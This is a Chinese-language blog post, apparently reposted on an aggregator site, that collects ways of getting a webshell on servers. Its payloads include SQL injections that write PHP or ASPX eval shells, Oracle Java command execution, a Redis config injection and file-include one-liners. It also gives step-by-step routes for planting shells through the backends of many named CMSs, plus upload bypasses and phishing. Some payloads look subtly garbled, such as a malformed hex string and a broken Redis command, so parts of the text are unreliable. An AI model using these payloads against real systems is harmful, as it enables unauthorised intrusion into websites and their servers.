Getshell總結

請添加圖片描述

按方式分類:

0x01注入getshell:
0x02 上傳 getwebshell
0x03 RCE getshell
0x04 包含getwebshell
0x05 漏洞組合拳getshell
0x06 系統層getcmdshell
0x07 釣魚 getcmdshell
0x08 cms后臺getshell
0x09 紅隊shell競爭分析

0x01注入getshell:

一般前提條件:有權限、知道路徑

MySQL

select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'

Sql server

存儲過程xp_cmdshell

;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D:\WWW\2333.aspx' ;--

Oracle

1、創建JAVA包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

2、JAVA權限

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

3、創建函數

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

URL執行

id=602'||utl_inadd.get_host_name((select LinxRUNCMD('cmd /c dir d:/') from dual))--

postgresql

COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

sqlite3

;attach database 'D:\www\008.php' as tt;create TABLE tt.exp (dataz text) ; insert INTO tt.exp (dataz) VALUES (x'3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e');

redis

%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml2F%0D%0Aconfig%20set%20dbfilename%20shell%2Ephp%0D%0Aset%20x%2022%3C%3Fphp%20phpinfo%28%29%3B%%203F%3E%22%0D%0Asave%0D%0A

PS:oracle成功率受限于與數據庫版本以及注入點

當然注入不一定都能拿到webshell,比如站庫分離。但不管是否站庫分離,只要權限夠能夠執行系統命令,反彈cmdshell 也是不錯的選擇。比如sa權限結合xp_cmdshell 存儲過程,直接執行powershell,反彈到cobalt strike …

0x02上傳getshell:

上傳漏洞對于getshell 還是高頻的,無論是前臺上傳點,還是后臺(通過口令進入、或者XSS到后臺、邏輯漏洞越權)上傳點,當然也有可能要結合一些Web Server的解析漏洞。但像IIS和Apache解析漏洞因為太老,現在成功概率都小很多。 類似直接的上傳漏洞就可以getshell的漏洞,例如IIS PUT上傳、Tomcat PUT 上傳,因為落腳點最終都跟上傳有關系,這個就不單獨去枚舉。 還有一批像一些編輯器(FCK、editor、CKedtor…)存在上傳漏洞可以getshell。這一系列,一般是基于信息收集確定是否存在漏洞,然后進一步利用。(發現漏洞比利用漏洞更藝術)

這個期間可能涉及邏輯繞過、WAF對抗、殺軟繞過、執行層,主要解決四點:

代碼或邏輯問題,可以上傳腳本文件

躲過WAF對腳本文件及上傳內容的校驗

解決落地殺

執行過程,躲過流量監控或者系統層監控 同樣RCE 也需要關注以上后幾點,因為前面的入口場景不同。

  • 本地js驗證上傳
  • 服務器mime繞過
  • 服務器文件頭繞過
  • 服務器 filepath上傳
  • 雙文件上傳
  • %00截斷上傳
  • 上傳其他腳本類型

上傳插件
將shell添加到安裝的插件中上傳服務器拿shell。典型如wordpress

修改允許上傳類型

進入網站后臺后找到上傳點發現對上傳有白名單限制,正好又可以添加白名單,可以將腳本格式寫入白名單然后進行上傳。如果容器允許的情況下,嘗試上傳與網站源碼不同類型的腳本格式拿shell

0x03RCE getshell

RCE是統稱,包括遠程代碼執行、遠程命令執行。當然這兩個概念還是有意思的,比如struts2漏洞有的叫命令執行有的叫代碼執行。這都不重要。一般根據觸發點來命名。 Java系的OGNL 表達式注入、EL注入、反序列化 PHP系列的eval 類、偽協議類 代碼執行、system類命令執行 當然反序列化漏洞基本上編程語言都有,除了漏洞利用getshell,用作免殺后門webshell也是一個不錯的思路推薦。 正由于代碼執行的部分結果是執行了系統命令,在命令執行的加持下,可以直接拿到應用或系統的shell,也是正統策略。 根據《2019年Web應用安全年度報告》,高頻系列27個漏洞漏洞(這些漏洞都值得深入分析及利用),大部分為遠程代碼執行,同時RCE系列,Java 組件也占比最大。

列表如下:

Harbor API SQL注入(CVE-2019-19026/CVE-2019-19029)
Thinkcmf任意內容包含遠程代碼執行
泛微E-cology OA數據庫配置信息泄漏
Fastjson遠程拒絕服務
GhostScript遠程代碼執行(CVE-2019-14811)
泛微E-cology OA系統遠程代碼執行
Apache Solr遠程代碼執行(CVE-2019-0193)
FasterXML jackson-databind遠程代碼執行(CVE-2019-14439)
FasterXML jackson-databind遠程代碼執行(CVE-2019-12384)
FasterXML jackson-databind遠程代碼執行(CVE-2019-14379)
Xstream遠程代碼執行(CVE-2019-10173)
致遠OA A8前臺getshell
Apache axis遠程代碼執行
CoreMail未授權訪問接口參數注入
Weblogic遠程代碼執行(CVE-2019-2729)
Weblogic遠程代碼執行(CVE-2019-2725)
Confluence遠程代碼執行(CVE-2019-3398)
Confluence遠程代碼執行(CVE-2019-3396)
Ruby On Rails任意文件讀取(CVE-2019-5418)
Jenkins遠程代碼執行(CVE-2019-1003030)
ColdFusion遠程代碼執行(CVE-2019-7091)
Spring Boot Actuator遠程代碼執行
Drupal8 REST Module遠程代碼執行(CVE-2019-6340)
Jenkins遠程代碼執行(CVE-2019-1003000)
Apache Solr遠程代碼執行(CVE-2019-17558)
Fastjson遠程代碼執行 Jenkins遠程代碼執行(CVE-2019-1003000)

0x04文件包含getwebshell

文件包含,常見JSP、ASPx、PHP 都有包含,但主要還是PHP的包含好用。因為可以包含任意路徑的任意后綴,能控制include類函數的輸入結合系統特性文件或者上傳的文件結合,可以拿到webshell。 JSP包含,默認情況下動態包含WEB路徑下的JSP文件(靜態包含可以包含任意后綴的文本文件,但不支持變量動態賦值暫不說明),2月份的CVE-2020-1938 Tomcat 文件包含漏洞,這個漏洞看上去是包含了任意格式的文件,但其實是因為AJP協議。 更多文件包含冷知識,參考 原貼
.文件包含
可繞過waf拿webshell。借助文件包含躲避waf攔截。一般用來上大馬用
asp 包含代碼

<!--#include file="123.jpg"-->
#調用的文件必須和被調用文件在同一目錄,如果不在同一目錄,用下面的語句:
<!--#include  virtual="文件所在目錄/123.jpg"-->

php包含

<?php
include('123.jpg');
?>

命令執行

echo ^<^?php @eval($_POST['cmd']);?^>^ > c:\1.php^<^%eval request("cracer")%^>^ > c:\1.php
# 需要知道網站路徑

0x05漏洞組合拳getshell

繞過既有認證+后臺漏洞
口令猜測是門藝術活,進入后臺多種漏洞的利用,包括前面提到的漏洞常見高危系列,還有一些備份還原、導入導出、 模板編輯等功能。

登錄邏輯繞過、越權類,搞定后臺。進行典型漏洞利用

通過XSS釣到cookie,或者利用CSRF類漏洞“借刀殺人”搞到后臺權限。進行典型漏洞利用。 網站后臺Getshell的方法總結

XXE
XXE漏洞,最理想的狀態就是直接可以代碼執行(類似PHP expert);大多數還是以文件讀取信息收集為主,結合源碼或者配置文件(例如/etc/shadow、tomcat-users.xml等)getshell;還可以通過XXE的SSRF進行隔山打牛式getshell。 當然對于漏洞挖掘來講,無論是xml格式還是json格式的POST數據包都值得多關注下。說不定就有驚喜呢。

SSRF + RCE
原理上SSRF可以結合所有RCE(反序列化、s2、mysql … ;github 搜索SSRFmap、ssrf_proxy)的漏洞進行組合利用,只是我們在平常實例角度用SSRF+redis未授權用的多一些。

任意文件讀取Getshell
正常的一般是通過讀取web.xml 獲取class文件,然后反編譯,找到代碼的一些漏洞。進而拿到系統的權限。當然還有文件讀取加文件上傳的曲折配合(任意文件讀取漏洞的曲折歷程)

0x06系統層getcmdshell

暴力破解的藝術,畢竟錘子開鎖和鑰匙開鎖在入侵角度結果是一樣的。

**常規協議:**SSH、RDP、SMB、VPC、Redis 等中間件類

通過數據庫執行語句獲得了系統shell,對于獲取權限,比sql注入更直接。
設備層:VPN、防火墻,搞定這種邊界設備,單車變摩托。

編輯器漏洞:
低版本的ewebeditor、fckeditor編輯器均有漏洞可以利用。或繞過上傳或結合解析漏洞

服務器解析漏洞

  • IIS 5.x/6.0解析漏洞

目錄解析:x.asp/1.jpg
分號解析:x.asp;.jpg會被解析asp格式
其他文件名:cer,asa,cdx…
IIS 7.0/IIS 7.5/

畸形文件名解析:test.jpg/*.php

- Nginx

-畸形解析漏洞 :test.jpg/*.php(Nginx版本無關,只與配置環境有關)
<8.03空字節代碼執行漏洞 :test.jpg%2500.php

- Apache解析漏洞

Apache解析文件的時候是按照從右向左的方式,test.php.aaa.sss,Apache無法解析.aaa.sss,向左解析到.php,于是test.php.aaa.sss就被解析為php文件

0x07釣魚 getcmdshell

發送釣魚郵件,捆綁的馬,訪問即加載、點擊即執行類的馬。 這一類攻擊一般結合社工,例如借用IT管理員發送或某領導的賬號去發送(所以這時候的郵箱的0day就非常重要了,當然如果在郵箱內部找到類似VPN或者密碼表類,也不需要這么麻煩,一把梭…),可信度就高很多。對于紅隊來講,釣的魚兒還是以IT部門系列為主,普通辦公區的主機權限還需要做更多的工作。

cms后臺getshell

dedecms:
dedecms版本:http://192.168.1.10:8030/data/admin/ver.txt
默認后臺:http://192.168.1.10:8030/dede/
dedecms后臺一般都被修改不好找,可借助google語法:

Powered byDedeCMSV57_GBK_SP2 site:xx.com

一、后臺文件上傳
進入后臺:核心》附件管理》文件式管理器》可直接修改源碼或者上傳shell
在這里插入圖片描述

寫馬
在這里插入圖片描述

連接
在這里插入圖片描述

如果目標“文件式管理器”接口被閹割,也許只是單純的在前端刪除了入口。可以修改js調用:
如果權限被限制無法上傳到upload以外的目錄。通過修改名稱跨越目錄,繞過權限封鎖

二、數據庫執行拿shell
后臺:系統》sql命令行工具》寫shell
寫shell
連接

南方數據、良精、動易
一、數據庫備份(備份圖片馬、備份數據庫)
系統管理》數據庫備份頁面經常被刪除,需要修改js重新調用數據庫備份頁面

1.上傳圖片馬
產品管理》添加產品》上傳圖片馬

2.審查元素,找到圖片馬路徑
如:http://192.168.1.10:8009/UploadFiles/1.jpg
3.開始備份

注意點:
1.如果附加了asa無法訪問,嘗試刪除asa訪問。解析即可。
2.如果出現文件頭為database、jet db。表示實際備份的還是數據庫,我們提交的圖片馬并沒有備份到。這里嘗試添加管理員將shell寫進數據庫。然后再備份即可。這如果長度有限制,可以在審查元素修改maxlength或者抓包
3.如果數據庫路徑…/Databases/0791idc.mdb框無法修改。嘗試審查元素或者burp改包
4.備份目錄不用管
二、配置插馬
三、修改上傳類型突破上傳
四、雙文件突破上傳
五、修改editor/admin_style.asp
ecshop
1.sql語句寫shell
2.修改文件
庫項目管理》配送方式

連接:http://192.168.1.10:8103/myship.php
3.前臺getshell
http://192.168.1.10:8103/user.php》刷新抓包》發送repeater:
會在網站根目錄下生成1.php一句話木馬,密碼1337

wordpress上傳插件
安裝插件》上傳插件》插件馬(正常插件+大馬壓縮包)》上傳成功
phpmyadmin寫shell
phpmyadmin 常見路徑:phpmyadmin、pma、pmd、pm、phpmyadmin+版本號。或者端口號搭建888/999/8888/777。可嘗試爆破登錄:
尋找網站根目錄
1.找mysql安裝目錄
2.根據mysql安裝路徑推理出apache配置文件(記錄了網站根目錄)
3.使用某個數據庫,創建一個表用來讀取apache的配置文件
如果有waf會攔截不讓導shell
1.找免殺馬
2.開啟外聯
3.通過遠程地址鏈接mysql服務器導入一句話
如果導出函數into outfile 被禁用
1.生成日志getshell
genaeral log設置為on,備份genaeral log file路徑后修改為我們要導的shell路徑。然后執行帶有一句話的sql語句寫入日志文件,成功getshell。完成后記得還原genaeral log file路徑
備份路徑:genaeral log file:D:\SOFT\webbuild\php\MySQL\data\DESKTOP-CCDQEGR.log
執行:select “<?php phpinfo();?>”

寫入成功:http://localhost/xxx.php

kesion cms
科迅cms需要使用ie低版本瀏覽器
一、添加上傳類型

這里會回顯文件名不合法。但是實際上已經上傳成功(部分版本)
aspcms
1.插件管理,界面風格修改asp文件
2.擴展功能,數據庫備份
3.配置插馬
幻燈片設置

SD cms
1.上傳設置,添加腳本類型(大小寫替換)
2.界面,模板管理,點擊sdcms_index.asp,插入一句話到首頁
phpcms
1.界面,模板風格,詳情列表,修改腳本格式文件
2.phpsso(沒有這個界面的話調用js),系統設置,ucenter設置,插馬

連接:
3.內容,專題,添加專題
<
添加專題1

添加專題2

擴展設置,專題模板。value值設置為:
提交,提交完成后會在根目錄生成0.php后門文件

metinfo
1.安裝插件getshell
2.安全》備份與恢復》數據庫備份》下載》打開sql文件》合適的地方輸入語句:
》重新壓縮》刪除之前備份文件》上傳修改之后的數據庫備份文件》導入:執行sql語句》生成shell
3.<6.0,直接訪問:
在upload目錄下生成index.php的一句話:
連接:192.168.1.10/upload/index.php

discuz
管理后臺:
1.站長,uccenter設置,插馬,待復現。參考
https://paper.seebug.org/1144/#2-ucketdz
帝國cms
1.系統》數據表與系統模型》管理數據表》管理系統模型》導入系統模型》上傳1.php.mod》會在當前目錄下生成一句話co.php:
連接:http://192.168.1.10:8111/e/admin/co.php
2.帝國備份王getshell
phpmywind
1.網站信息設置》附件設置,添加允許上傳類型getshell
2.網站信息設置》增加新變量

》提交》基本設置:1;@eval($_POST[a])

》提交>連接:http://192.168.1.10:8112/admin/default.php
新版本過濾分號無法連接:慎重插馬

phpweb
1.前臺直接上傳
https://blog.csdn.net/weixin_44508748/article/details/105671332
2.后臺編輯器
產品》修改》
連接:http://192.168.1.12/phpweb/3151/product/pics/20200628/202006281593274850595.php

0x08紅隊shell競爭分析

拼信息收集,漏洞點,別人找不到,我找的到(例如移動端、物聯網等接口信息,當然這種shell,一般距離核心應用可能也遠一些);

拼利用速度,自動化一條龍(基本屬于日常漏洞和工程化的積累);

拼0day (VPN — Mail — OA — java組件 — CMS — 關鍵設備 );

拼細節漏洞,組合利用。(這是一篇“不一樣”的真實滲透測試案例分析文章 )

以上為本次所感所想,當然除了這種按照漏洞類型大類去分類,還有一些具體的漏洞也可以直接getshell,本次分析意義,就是在沒有思路的時候,有個相對體系性思考框架。畢竟儲備充足才會看上去像運氣一樣水到渠成,其實都是局部真相。

引用參考:

https://www.isolves.com/it/aq/hk/2020-08-12/27894.html

https://blog.csdn.net/weixin_44508748/article/details/107009450

看完點贊關注不迷路!!! 后續繼續更新優質安全內容!!!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/532562.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/532562.shtml
英文地址,請注明出處:http://en.pswp.cn/news/532562.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

編寫可靠bash腳本的一些技巧

編寫可靠bash腳本的一些技巧 原作者&#xff1a;騰訊技術工程 原文鏈接&#xff1a;https://zhuanlan.zhihu.com/p/123989641 寫過很多 bash 腳本的人都知道&#xff0c;bash 的坑不是一般的多。 其實 bash 本身并不是一個很嚴謹的語言&#xff0c;但是很多時候也不得不用。以下…

python 到 poc

0x01 特殊函數 0x02 模塊 0x03 小工具開發記錄 特殊函數 # -*- coding:utf-8 -*- #內容見POC.demo; POC.demo2 ;def add(x,y):axyprint(a)add(3,5) print(------------引入lambad版本&#xff1a;) add lambda x,y : xy print(add(3,5)) #lambda函數,在lambda函數后面直接…

protobuf版本常見問題

protobuf版本常見問題 許多軟件都依賴 google 的 protobuf&#xff0c;我們很有可能在安裝多個軟件時重復安裝了多個版本的 protobuf&#xff0c;它們之間很可能出現沖突并導致在后續的工作中出現版本不匹配之類的錯誤。本文將討論筆者在使用 protobuf 中遇到的一些問題&#…

CMake常用命令整理

CMake常用命令整理 轉自&#xff1a;https://zhuanlan.zhihu.com/p/315768216 CMake 是什么我就不用再多說什么了&#xff0c;相信大家都有接觸才會看一篇文章。對于不太熟悉的開發人員可以把這篇文章當個查找手冊。 1.CMake語法 1.1 指定cmake的最小版本 cmake_minimum_r…

CVE-2021-41773 CVE-2021-42013 Apache HTTPd最新RCE漏洞復現 目錄穿越漏洞

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; CVE-2021-41773漏洞描述&#xff1a; Apache HTTPd是Apache基金會開源的一款流行的HTTP服務器。2021年10月8日Apache HTTPd官方發布安全更新&#xff0c;披…

SSRF,以weblogic為案例

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 復習一下ssrf的原理及危害&#xff0c;并且以weblog的ssrf漏洞為案例 漏洞原理 SSRF(Server-side Request Forge, 服務端請求偽造) 通常用于控制web進而…

C++11 右值引用、移動語義、完美轉發、萬能引用

C11 右值引用、移動語義、完美轉發、引用折疊、萬能引用 轉自&#xff1a;http://c.biancheng.net/ C中的左值和右值 右值引用可以從字面意思上理解&#xff0c;指的是以引用傳遞&#xff08;而非值傳遞&#xff09;的方式使用 C 右值。關于 C 引用&#xff0c;已經在《C引用…

C++11 std::function, std::bind, std::ref, std::cref

C11 std::function, std::bind, std::ref, std::cref 轉自&#xff1a;http://www.jellythink.com/ std::function 看看這段代碼 先來看看下面這兩行代碼&#xff1a; std::function<void(EventKeyboard::KeyCode, Event*)> onKeyPressed; std::function<void(Ev…

Java安全(一) : java類 | 反射

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.java基礎 Java平臺共分為三個主要版本Java SE&#xff08;Java Platform, Standard Edition&#xff0c;Java平臺標準版&#xff09;、Java EE&#xff0…

LeetCode-287 尋找重復數 二分法

LeetCode-287 尋找重復數 二分法 287. 尋找重復數 給定一個包含 n 1 個整數的數組 nums &#xff0c;其數字都在 1 到 n 之間&#xff08;包括 1 和 n&#xff09;&#xff0c;可知至少存在一個重復的整數。 假設 nums 只有 一個重復的整數 &#xff0c;找出 這個重復的數 。…

對某公司一次弱口令到存儲型xss挖掘

轉自我的奇安信攻防社區文章:https://forum.butian.net/share/885 免責聲明: 滲透過程為授權測試,所有漏洞均以提交相關平臺,博客目的只為分享挖掘思路和知識傳播** 涉及知識: xss注入及xss注入繞過 挖掘過程: 某次針對某目標信息搜集無意發現某工程公司的項目招標平臺 …

C++11新特性選講 語言部分 侯捷

C11新特性選講 語言部分 侯捷 本課程分為兩個部分&#xff1a;語言的部分和標準庫的部分。只談新特性&#xff0c;并且是選講。 本文為語言部分筆記。 語言 Variadic Templatesmove semanticsautoRange-based for loopInitializer listLambdas… 標準庫 type_traitsunodered…

java安全(二):JDBC|sql注入|預編譯

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1 JDBC基礎 JDBC(Java Database Connectivity)是Java提供對數據庫進行連接、操作的標準API。Java自身并不會去實現對數據庫的連接、查詢、更新等操作而是通…

java安全(三)RMI

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.RMI 是什么 RMI(Remote Method Invocation)即Java遠程方法調用&#xff0c;RMI用于構建分布式應用程序&#xff0c;RMI實現了Java程序之間跨JVM的遠程通信…

LeetCode-726 原子的數量 遞歸

LeetCode-726 原子的數量 遞歸 題目鏈接&#xff1a;LeetCode-726 原子的數量 給你一個字符串化學式 formula &#xff0c;返回 每種原子的數量 。 原子總是以一個大寫字母開始&#xff0c;接著跟隨 0 個或任意個小寫字母&#xff0c;表示原子的名字。 如果數量大于 1&#xf…

java安全(四) JNDI

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.JNDI JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過調用JNDI的API應用程序可以定位資源和其他程序對象。JNDI是Java…

二叉樹的層序遍歷和前中后序遍歷代碼 迭代/遞歸

前中后序遍歷&#xff08;DFS&#xff09; 首先我們要明確前中后序遍歷的順序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 前中后序遍歷的遞歸代碼和迭代代碼分別有各自的框架&#xff0c;然后根據遍歷順序調整記錄元素的位置即可。 …

java安全(五)java反序列化

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1. 序列化 在調用RMI時,發現接收發送數據都是反序列化數據. 例如JSON和XML等語言,在網絡上傳遞信息,都會用到一些格式化數據,大多數處理方法中&#xff0c…

git merge和rebase的區別與選擇

git merge和rebase的區別與選擇 轉自&#xff1a;https://github.com/geeeeeeeeek/git-recipes/wiki/5.1-%E4%BB%A3%E7%A0%81%E5%90%88%E5%B9%B6%EF%BC%9AMerge%E3%80%81Rebase-%E7%9A%84%E9%80%89%E6%8B%A9#merge BY 童仲毅&#xff08;geeeeeeeeekgithub&#xff09; 這是一篇…

java安全(六)java反序列化2,ysoserial調試

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; ysoserial 下載地址&#xff1a;https://github.com/angelwhu/ysoserial ysoserial可以讓?戶根據??選擇的利?鏈&#xff0c;?成反序列化利?數據&…